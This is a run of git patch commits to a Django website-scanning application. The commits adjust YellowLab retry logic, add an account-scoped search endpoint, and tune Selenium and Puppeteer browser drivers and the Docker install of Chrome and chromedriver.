-                print(f'YELLOWLAB API FAILED --> {e}')
+                print(f'YELLOWLAB FAILED (attempt {attempts}) --> {e}')
                 scan_complete = True
                 failed = True
                 attempts += 1

From 80173f87f85a386878e38669a17a5341825e9306 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 11:05:16 -0600
Subject: [PATCH 0364/1099] fixed logic issue

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 962b7c59..4e230913 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -239,7 +239,7 @@ def get_data(self):
 
             except Exception as e:
                 print(f'YELLOWLAB FAILED (attempt {attempts}) --> {e}')
-                scan_complete = True
+                scan_complete = False
                 failed = True
                 attempts += 1
 

From 3cd32b57629da3eebe3c03fb89c00cf50c45ac08 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 11:16:07 -0600
Subject: [PATCH 0365/1099] fixed logic bug

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 4e230913..3fb43b37 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -230,7 +230,7 @@ def get_data(self):
                     self.process_data(stdout_json=raw_data)
                 
                 # API after first attempt
-                if attempts > 1:
+                if attempts >= 1:
                     raw_data = self.yellowlab_api()
                     self.process_data(stdout_json=raw_data)
 

From 392273c6e3b79526b220251d19bc9990ac86fe71 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 11:48:06 -0600
Subject: [PATCH 0366/1099] adding search endpoint

---
 app/api/v1/ops/services.py | 65 ++++++++++++++++++++++++++++++++++++++
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 11 +++++++
 3 files changed, 77 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e549a1a9..df09ea8f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2756,6 +2756,71 @@ def get_logs(request):
 
 
 
+def search_resources(request):
+    """
+    This method will search for any `Page` or `Site`
+    that is associated with the user's `Account` and
+    matches the query string.
+
+    Expects:
+        'query': <str> the query string
+    
+    Returns:
+        data -> [
+            {
+                'name': <str>,
+                'type': <str>,
+                'path': <str>,
+            }
+            ...
+        ]
+    """
+
+    # get data
+    query = request.query_params.get('query')
+    user = request.user
+    account = Member.objects.get(user=user).account
+    data = []
+
+    # search for sites
+    sites = Site.objects.filter(account=account).filter(
+        site_url__icontains=query
+    )
+
+    # search for pages
+    pages = Pages.objects.filter(account=account).filter(
+        page_url__icontains=query
+    )
+
+    # adding first 5 sites if present
+    i = 0
+    while i <= 5 and i <= (len(sites)-1):
+        data.append({
+            'name': str(sites[i].site_url),
+            'path': f'/site/{sites[i].id}',
+            'type': 'site',
+        })
+        i+=1
+    
+    # adding first 5 pages if present
+    i = 0
+    while i <= 5 and i <= (len(pages)-1):
+        data.append({
+            'name': str(pages[i].page_url),
+            'path': f'/page/{pages[i].id}',
+            'type': 'page',
+        })
+        i+=1
+        
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
+
+
+
 
 def migrate_site(request, delay=False):
     login_url = request.data.get('login_url', None)
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 0af2f170..0fc9a204 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -3,6 +3,7 @@
 
 
 urlpatterns = [
+    path('search', views.Search.as_view(), name='search'),
     path('site', views.Sites.as_view(), name='site'),
     path('site/<uuid:id>', views.SiteDetail.as_view(), name='site-detail'),
     path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 860d3aa1..cb76ffa6 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -591,6 +591,17 @@ def get(self, request):
 
 
 
+class Search(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get',]
+
+    def get(self, request):
+        response = search_resources(request)
+        return response
+
+
+
+
 class Processes(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']

From 3619ebc004de1bfd85db7e9d53380d46c85717fb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 12:18:02 -0600
Subject: [PATCH 0367/1099] updated error messages

---
 app/api/v1/ops/services.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index df09ea8f..2fbde69f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -84,24 +84,24 @@ def check_account(request=None, user=None, resource=None, site_id=None):
             current_page_count = Page.objects.filter(account=account, site__id=site_id).count()
             if current_page_count >= account.max_pages:
                 allowed = False
-                error = 'max pages reached, please upgrade plan'
+                error = 'max pages reached, please upgrade'
         # checking sites
         if resource == 'site':
             current_site_count = Site.objects.filter(account=account).count()
             if current_site_count >= account.max_sites:
                 allowed = False
-                error = 'max sites reached, please upgrade plan'
+                error = 'max sites reached, please upgrade'
         # checking schedules
         if resource == 'schedule':
             current_site_count = Schedule.objects.filter(account=account).count()
             if current_site_count >= account.max_schedules:
                 allowed = False
-                error = 'max schedules reached, please upgrade plan'
+                error = 'max schedules reached, please upgrade'
         # checking testcases
         if resource == 'testcase':
             if not account.testcases:
                 allowed = False
-                error = 'testcases not allowed, please upgrade plan'
+                error = 'testcases not allowed, please upgrade'
     
     # returning data
     data = {

From f250108e3a1604800d70f28d212692d1be172ce5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 12:37:35 -0600
Subject: [PATCH 0368/1099] fixed typo

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2fbde69f..b3d64b14 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2788,7 +2788,7 @@ def search_resources(request):
     )
 
     # search for pages
-    pages = Pages.objects.filter(account=account).filter(
+    pages = Page.objects.filter(account=account).filter(
         page_url__icontains=query
     )
 

From 120a6646bef4539e2979d6b938ebe49d464e5e7a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 14:05:59 -0600
Subject: [PATCH 0369/1099] reduced size of returned results

---
 app/api/v1/ops/services.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b3d64b14..67b986ea 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2794,7 +2794,7 @@ def search_resources(request):
 
     # adding first 5 sites if present
     i = 0
-    while i <= 5 and i <= (len(sites)-1):
+    while i <= 3 and i <= (len(sites)-1):
         data.append({
             'name': str(sites[i].site_url),
             'path': f'/site/{sites[i].id}',
@@ -2804,7 +2804,7 @@ def search_resources(request):
     
     # adding first 5 pages if present
     i = 0
-    while i <= 5 and i <= (len(pages)-1):
+    while i <= 4 and i <= (len(pages)-1):
         data.append({
             'name': str(pages[i].page_url),
             'path': f'/page/{pages[i].id}',

From 3c606227e3a27ece06939e1847c205e85220951a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 14:15:52 -0600
Subject: [PATCH 0370/1099] removed unnecessary deps

---
 Dockerfile | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index aed2bb2e..46e32716 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -25,17 +25,6 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
     libfontconfig 
 
-# installing yellowlab-specific system deps
-RUN apt-get update && apt-get install -y libfreetype6 git  \ 
-    libatk-bridge2.0-0 gconf-service libasound2 make \ 
-    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
-    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
-    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
-    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
-    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
-    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
-    -y --force-yes > /dev/null 2>&1
-
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \

From 96308504f1a0f37181ab700978660f7b936c8a68 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 17:06:32 -0600
Subject: [PATCH 0371/1099] updated for new YLT v3

---
 app/api/utils/reporter.py | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 5e129fd1..da2bb250 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -224,7 +224,7 @@ def get_cat_string(self, cat):
             string = 'Bad CSS'
         elif cat == 'jQuery':
             string = 'jQuery'
-        elif cat == 'requests':
+        elif cat == 'images':
             string = 'Requests'
         elif cat == 'pageWeight':
             string = 'Page Weight'
@@ -260,12 +260,8 @@ def get_audits(self, uri=str):
         Downloads teh JSON file from the passed uri
         and return the data as a python dict
         """
-        # uri = 'static/sites/' + uri.lstrip(f'{settings.AWS_S3_URL_PATH}')
-        # audits_raw = self.s3.get_object(Bucket=settings.AWS_STORAGE_BUCKET_NAME, Key=uri)['Body'].read().decode('utf-8')
         res = requests.get(uri)
         audits = res.json()
-        # audits = json.loads(audits_raw)
-
         return audits
 
 

From e1067f50468ded83ad16edcc246abcffc8ce22b8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 17:09:01 -0600
Subject: [PATCH 0372/1099] updated reporter for YLT v3

---
 app/api/utils/reporter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index da2bb250..6e637c4c 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -225,7 +225,7 @@ def get_cat_string(self, cat):
         elif cat == 'jQuery':
             string = 'jQuery'
         elif cat == 'images':
-            string = 'Requests'
+            string = 'Images'
         elif cat == 'pageWeight':
             string = 'Page Weight'
         elif cat == 'serverConfig':

From 3e6b57a60b601412a791def181cb0b1b4f36d996 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 14 Mar 2024 15:29:21 -0600
Subject: [PATCH 0373/1099] increased timeout

---
 app/api/utils/driver_s.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index c5524125..c32e9237 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -9,7 +9,7 @@ def driver_init(
         window_size='1920,1080', 
         device='desktop',
         script_timeout=30,
-        load_timeout=30,
+        load_timeout=120,
         wait_time=15, 
         pixel_ratio=1.0,
         scale_factor=0.5
@@ -49,7 +49,7 @@ def driver_init(
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
     driver = webdriver.Chrome(options=options)
-    # driver.set_page_load_timeout(load_timeout)
+    driver.set_page_load_timeout(load_timeout)
     # driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)
 

From ff694cd4e84c95f15fbd649c7ccb47857dee6eab Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 14 Mar 2024 18:14:54 -0600
Subject: [PATCH 0374/1099] testing new configs

---
 app/api/utils/driver_p.py | 2 +-
 app/api/utils/driver_s.py | 8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index cedbf86e..895e9e4d 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -124,7 +124,7 @@ async def get_data(url, configs, *args, **options):
     
     userAgent = (
         "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-        (KHTML, like Gecko) Chrome/99.0.4812.0 Safari/537.36"
+        (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36"
     )
 
     await page.setViewport(viewport)
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index c32e9237..58401a41 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -8,8 +8,8 @@
 def driver_init(
         window_size='1920,1080', 
         device='desktop',
-        script_timeout=30,
-        load_timeout=120,
+        script_timeout=300,
+        load_timeout=300,
         wait_time=15, 
         pixel_ratio=1.0,
         scale_factor=0.5
@@ -27,7 +27,7 @@ def driver_init(
         "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": pixel_ratio },
         "userAgent": (
             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36"
+            (KHTML, like Gecko) Chrome/122.0.6261.119 Mobile Safari/537.36"
         ) 
     }
 
@@ -50,7 +50,7 @@ def driver_init(
 
     driver = webdriver.Chrome(options=options)
     driver.set_page_load_timeout(load_timeout)
-    # driver.set_script_timeout(script_timeout)
+    driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)
 
     

From 12ef46009707a9ac7f5c1fd90d4b27068fa02da4 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 14 Mar 2024 18:32:12 -0600
Subject: [PATCH 0375/1099] testing new configuration

---
 app/api/utils/driver_s.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 58401a41..d506fb18 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -44,6 +44,7 @@ def driver_init(
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
+    options.page_load_strategy = 'eager'
 
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)

From 1ca344f494d6658fa6366644bf5440aa2a400d26 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 09:58:42 -0600
Subject: [PATCH 0376/1099] removing --headless

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index d506fb18..411ef296 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,7 +38,7 @@ def driver_init(
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)
     options.add_argument("start-maximized")
-    options.add_argument("--headless")
+    # options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")

From 728bbf06f882d09176d0abc7d3e52e746445a72d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:15:44 -0600
Subject: [PATCH 0377/1099] starting celery as app user

---
 docker-compose.dev.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 0cf5c7c8..029e3764 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -53,7 +53,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
+      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info --uid=app --gid=app"
     volumes:
       - ./app:/scanerr
     env_file:

From 7e20dccdcba5250ece1a9a6e53e3561b1624601a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:22:43 -0600
Subject: [PATCH 0378/1099] setting ownership of chromedriver

---
 Dockerfile | 1 +
 1 file changed, 1 insertion(+)

diff --git a/Dockerfile b/Dockerfile
index 46e32716..e23da7e6 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -59,3 +59,4 @@ WORKDIR /app
 # setting ownership
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
+RUN chown -R app:app /usr/bin/chromedriver

From 8d1ea10bc69dd5d3a2d8e3f5f91b51227a0ec261 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:28:07 -0600
Subject: [PATCH 0379/1099] setting location of chromedriver

---
 app/api/utils/driver_s.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 411ef296..873aa409 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -31,7 +31,7 @@ def driver_init(
         ) 
     }
 
-    # chromedriver_path = os.environ.get("CHROMEDRIVER")
+    chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
     options.binary_location = os.environ.get('CHROMIUM')
     options.add_argument("--no-sandbox")
@@ -49,7 +49,7 @@ def driver_init(
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
-    driver = webdriver.Chrome(options=options)
+    driver = webdriver.Chrome(options=options, executable_path=chromedriver_path)
     driver.set_page_load_timeout(load_timeout)
     driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)

From 39c8436055c83ff29c3dbe27be237174da079138 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:32:12 -0600
Subject: [PATCH 0380/1099] testing again

---
 Dockerfile                | 1 +
 app/api/utils/driver_s.py | 3 ++-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index e23da7e6..18ca61fb 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -60,3 +60,4 @@ WORKDIR /app
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
+RUN chmod +x chromedriver
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 873aa409..35a25c5c 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -49,7 +49,8 @@ def driver_init(
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
-    driver = webdriver.Chrome(options=options, executable_path=chromedriver_path)
+    service = webdriver.ChromeService(executable_path=chromedriver_path)
+    driver = webdriver.Chrome(options=options, service=service)
     driver.set_page_load_timeout(load_timeout)
     driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)

From 7f34d71361f66ad6fcd6946382a62615da933e3d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:34:42 -0600
Subject: [PATCH 0381/1099] fixed path

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 18ca61fb..32cf3c07 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -60,4 +60,4 @@ WORKDIR /app
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
-RUN chmod +x chromedriver
+RUN chmod +x /usr/bin/chromedriver

From cbe18cd8bfa78f057032ba93890ba44bb5a97715 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 10:37:21 -0600
Subject: [PATCH 0382/1099] added back --headless

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 35a25c5c..e50f03bf 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -38,7 +38,7 @@ def driver_init(
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)
     options.add_argument("start-maximized")
-    # options.add_argument("--headless")
+    options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")

From b289973f290a156694470f406e84c91bf1438cd8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:02:50 -0600
Subject: [PATCH 0383/1099] testing puppeteer JS

---
 Dockerfile                                   |  3 ++
 app/api/management/commands/driver_p_test.py |  4 ++-
 app/api/utils/driver_p.py                    | 28 ++++++++++++++--
 app/api/utils/puppeteer.js                   | 35 ++++++++++++++++++++
 4 files changed, 67 insertions(+), 3 deletions(-)
 create mode 100644 app/api/utils/puppeteer.js

diff --git a/Dockerfile b/Dockerfile
index 32cf3c07..097b941c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,3 +61,6 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
 RUN chmod +x /usr/bin/chromedriver
+
+# installing puppeteer
+RUN npm install -g puppeteer
\ No newline at end of file
diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py
index c85d2705..4bbedb74 100644
--- a/app/api/management/commands/driver_p_test.py
+++ b/app/api/management/commands/driver_p_test.py
@@ -1,4 +1,4 @@
-from ...utils.driver_p import driver_test
+from ...utils.driver_p import driver_test, test_puppeteer
 from django.core.management.base import BaseCommand
 import asyncio
 
@@ -8,6 +8,8 @@ class Command(BaseCommand):
 
     def handle(self, *args, **options):
         asyncio.run(driver_test())
+        print('testing puppeteer JS')
+        test_puppeteer()
 
     
 
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 895e9e4d..510025a2 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -1,5 +1,7 @@
 from pyppeteer import launch
-import time, os, numpy, json, sys, datetime, asyncio
+from scanerr import settings
+import time, os, numpy, json, \
+sys, datetime, asyncio, subprocess
 
 
 
@@ -202,4 +204,26 @@ def record_error(error):
         'logs': logs,
     }
 
-    return data
\ No newline at end of file
+    return data
+
+
+
+
+def test_puppeteer():
+    # initiating subprocess for Puppeteer
+    js_file = os.path.join(settings.BASE_DIR, "api/utils//puppeteer.js")
+    proc = subprocess.Popen(
+        [
+            'node',
+            js_file,
+        ], 
+        stdout=subprocess.PIPE,
+        user='app',
+    )
+
+    # retrieving data from process
+    stdout_value = proc.communicate()[0]
+
+    # converting stdout str into Dict
+    stdout_json = json.loads(stdout_value)
+    return stdout_json
\ No newline at end of file
diff --git a/app/api/utils/puppeteer.js b/app/api/utils/puppeteer.js
new file mode 100644
index 00000000..be55fd17
--- /dev/null
+++ b/app/api/utils/puppeteer.js
@@ -0,0 +1,35 @@
+import puppeteer from 'puppeteer';
+
+(async () => {
+  // Launch the browser and open a new blank page
+  const browser = await puppeteer.launch();
+  const page = await browser.newPage();
+
+  // Navigate the page to a URL
+  await page.goto('https://developer.chrome.com/');
+
+  // Set screen size
+  await page.setViewport({width: 1080, height: 1024});
+
+  // Type into search box
+  await page.type('.devsite-search-field', 'automate beyond recorder');
+
+  // Wait and click on first result
+  const searchResultSelector = '.devsite-result-item-link';
+  await page.waitForSelector(searchResultSelector);
+  await page.click(searchResultSelector);
+
+  // Locate the full title with a unique string
+  const textSelector = await page.waitForSelector(
+    'text/Customize and automate'
+  );
+  const fullTitle = await textSelector?.evaluate(el => el.textContent);
+
+  // Print the full title
+  console.log('The title of this blog post is "%s".', fullTitle);
+
+  await browser.close();
+
+  return fullTitle
+  
+})();
\ No newline at end of file

From 667b60f5299a0862c2d778069fbbed39b6368f9c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:08:21 -0600
Subject: [PATCH 0384/1099] testing

---
 app/api/utils/driver_p.py                     | 2 +-
 app/api/utils/{puppeteer.js => puppeteer.mjs} | 0
 2 files changed, 1 insertion(+), 1 deletion(-)
 rename app/api/utils/{puppeteer.js => puppeteer.mjs} (100%)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 510025a2..37f53057 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -211,7 +211,7 @@ def record_error(error):
 
 def test_puppeteer():
     # initiating subprocess for Puppeteer
-    js_file = os.path.join(settings.BASE_DIR, "api/utils//puppeteer.js")
+    js_file = os.path.join(settings.BASE_DIR, "api/utils//puppeteer.mjs")
     proc = subprocess.Popen(
         [
             'node',
diff --git a/app/api/utils/puppeteer.js b/app/api/utils/puppeteer.mjs
similarity index 100%
rename from app/api/utils/puppeteer.js
rename to app/api/utils/puppeteer.mjs

From 48bb8990d99ac549695a7c658988515c77dd9ff5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:08:50 -0600
Subject: [PATCH 0385/1099] fixed path

---
 app/api/utils/driver_p.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 37f53057..d8f3bfc4 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -211,7 +211,7 @@ def record_error(error):
 
 def test_puppeteer():
     # initiating subprocess for Puppeteer
-    js_file = os.path.join(settings.BASE_DIR, "api/utils//puppeteer.mjs")
+    js_file = os.path.join(settings.BASE_DIR, "api/utils/puppeteer.mjs")
     proc = subprocess.Popen(
         [
             'node',

From 06342a6a5d51f9ebc708e94aa04e72c82c95514e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:20:47 -0600
Subject: [PATCH 0386/1099] testing

---
 app/api/utils/puppeteer.mjs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/puppeteer.mjs b/app/api/utils/puppeteer.mjs
index be55fd17..5802ceb4 100644
--- a/app/api/utils/puppeteer.mjs
+++ b/app/api/utils/puppeteer.mjs
@@ -1,4 +1,4 @@
-import puppeteer from 'puppeteer';
+import puppeteer from '/usr/local/bin/puppeteer';
 
 (async () => {
   // Launch the browser and open a new blank page

From 4df07dff0155fcc62249a0efa5461ba3c5cdc979 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:32:57 -0600
Subject: [PATCH 0387/1099] testing with google-chrome

---
 Dockerfile                                   | 20 ++++++++++++++++++--
 app/api/management/commands/driver_p_test.py |  4 +---
 app/api/utils/driver_p.py                    |  2 +-
 app/api/utils/driver_s.py                    |  2 +-
 4 files changed, 21 insertions(+), 7 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 097b941c..4b81db14 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -62,5 +62,21 @@ RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
 RUN chmod +x /usr/bin/chromedriver
 
-# installing puppeteer
-RUN npm install -g puppeteer
\ No newline at end of file
+
+
+# installing google-chrome-stable 
+RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+    apt-get update -y; \
+    apt-get install -y google-chrome-stable;
+
+# installing chromedriver
+RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
+    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
+    unzip ~/chromedriver-linux64.zip -d ~/ && \
+    rm ~/chromedriver-linux64.zip && \
+    mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
+    rm -rf ~/chromedriver-linux64
\ No newline at end of file
diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py
index 4bbedb74..c85d2705 100644
--- a/app/api/management/commands/driver_p_test.py
+++ b/app/api/management/commands/driver_p_test.py
@@ -1,4 +1,4 @@
-from ...utils.driver_p import driver_test, test_puppeteer
+from ...utils.driver_p import driver_test
 from django.core.management.base import BaseCommand
 import asyncio
 
@@ -8,8 +8,6 @@ class Command(BaseCommand):
 
     def handle(self, *args, **options):
         asyncio.run(driver_test())
-        print('testing puppeteer JS')
-        test_puppeteer()
 
     
 
